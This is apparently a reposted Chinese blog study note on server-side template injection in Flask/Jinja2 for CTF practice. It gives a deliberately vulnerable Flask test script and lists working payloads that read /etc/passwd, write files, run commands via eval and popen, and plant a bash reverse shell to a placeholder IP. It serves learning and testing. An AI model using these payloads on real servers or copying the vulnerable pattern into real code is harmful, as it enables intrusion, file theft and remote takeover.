SSTI学习

模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

SSTI(模板注入)

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

Python SSTI

介绍

CTF中经常见到的就是Flask框架,而Flask中默认的模板语言是Jinja2,render_template 函数封装了该模板引擎

模板语法主要分两种变量和结构标签

{{}}表示这是一个变量,可以根据用户在模块端给予的参数的不同,进行调整

{% %}这样代表控制语句

控制语句经常使用的for和if

if

{% if title %}                                    
<title>{{title}} - microblog</title>      
{% else %}
<title>Welcome to microblog</title>
{% endif %}

for

{% for user in users %}
<li>{{ user.username|title }}</li>
{% endfor %}

SSTI测试脚本:

from flask import Flask, render_template, render_template_string, request,flash
app = Flask(__name__)
 
@app.route('/yunying')
def hello():
    code = request.args.get('ssti')
    html = '''
    <h2>The ssti is </h2>
    <h3>%s</h3>
    ''' % (code)
    return render_template_string(html)
 
if __name__ == "__main__":
    app.run()

传入{{3*9}}让模板解析

还可以用Flask中常见的几个全局变量去测试比如config,g,session,request去探测是否存在ssti漏洞

利用

python中一切均为对象,均继承object对象

python的 SSTI大部分是依靠基类->子类->危险函数的方式来利用ssti,以下为一些内置方法

  • __class__

万物皆对象,而class用于返回该对象所属的类,比如某个字符串,他的对象为字符串对象,而其所属的类为<class 'str'>

  • __bases__

以元组的形式返回一个类所直接继承的类

  • __base__

以字符串返回一个类所直接继承的类

  • __mro__

返回解析方法调用的顺序

  • __subclasses__()

获取类的所有子类

  • __init__

所有自带带类都包含init方法,便于利用他当跳板来调用globals

  • __globals__

function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量

总结:

__dict__   :保存类实例或对象实例的属性变量键值对字典
__class__  :返回一个实例所属的类
__mro__    :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__  :以元组形式返回一个类直接所继承的类(可以理解为直接父类)__base__   :和上面的bases大概相同,都是返回当前类所继承的类,即基类,区别是base返回单个,bases返回是元组
// __base__和__mro__都是用来寻找基类的
__subclasses__  :以列表返回类的子类
__init__   :类的初始化方法
__globals__     :返回函数所在模块命名空间中的所有变量
__getattribute__() :获取属性或方法,对模块和类都有效
__getitem__() :以索引取值或者键取值
__builtin__&&__builtins__  :python中可以直接运行一些函数,例如int(),list()等等。                  
这些函数可以在__builtin__可以查到。查看的方法是dir(__builtins__)                  
在py3中__builtin__被换成了builtin                  
1.在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__。                  
2.非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

SSTI中主要的目的:

  • 执行命令
  • 读取文件内容(flag)

执行shell相关函数

//执行shell的模块
import os, commands, platfrom, subprocess 
//执行shell的函数
os.system('ls')
os.popen('ls').read()
platform.popen('ls').read()
status,output = commands.getstatusoutput('ls')
subprocess.call(['ifconfig'],shell=True)

读文件的话

py2中
file对象或者open函数
py3中
没有file对象,只能用open函数

__class__,class用于返回该对象所属的类

 __bases __,以元组的形式返回一个类所直接继承的所有类。

 __base __,以字符串返回一个类所直接继承的类

 __mro __,返回解析方法调用的顺序

可以看到__bases__返回了test()的两个父类,__base_返回了test()的第一个父类,__mro__按照子类到父类到父类解析的顺序返回所有类(python2和python2有区别)

__subclasses __(),获取类的所有子类

__init __
所有自带带类都包含init方法,便于利用他当跳板来调用globals

__globals __

function.__globals __,用于获取function所处空间下可使用的module、方法以及所有变量

__dict__,保存类实例或对象实例的属性变量键值对字典

__getattribute__(),获取属性或方法,对模块和类都有效

python2利用

就放几个常见的payload理解一下

文件读取和写入

#读文件
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} 
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#写文件
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

任意执行

{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}} 
{{ config.from_pyfile('/tmp/owned.cfg') }} 
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('from subprocess import check_output

RUNCMD = check_output
')}} 
{{ config.from_pyfile('/tmp/owned.cfg') }} 
{{ config['RUNCMD']('/usr/bin/id',shell=True) }}   

#假设在/usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个shell
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("
os.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')") }}

无回显

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}     
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}

任意执行只需要一条指令

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} 
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}(system函数换为popen('').read(),需要导入os模块) 
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}(不需要导入os模块,直接从别的模块调用)

#剩下的考完试再写,一个下午基本懂原理和构造方式了,发现有很多文章杂七杂八的,想总结的话比较困难,理解了就会构造了就完事了,其他的就总结下奇怪的姿势就OK了

参考:

https://www.cnblogs.com/-qing-/p/11656544.html

https://blog.csdn.net/weixin_34203426/article/details/86355535

https://www.cnblogs.com/zaqzzz/p/10251892.html

https://blog.csdn.net/qq_40657585/article/details/83657220

原文地址:https://www.cnblogs.com/BOHB-yunying/p/13983195.html